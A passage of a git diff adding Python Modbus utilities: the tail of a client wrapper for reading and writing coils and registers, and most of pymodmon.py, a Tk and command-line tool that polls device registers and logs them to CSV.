client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == 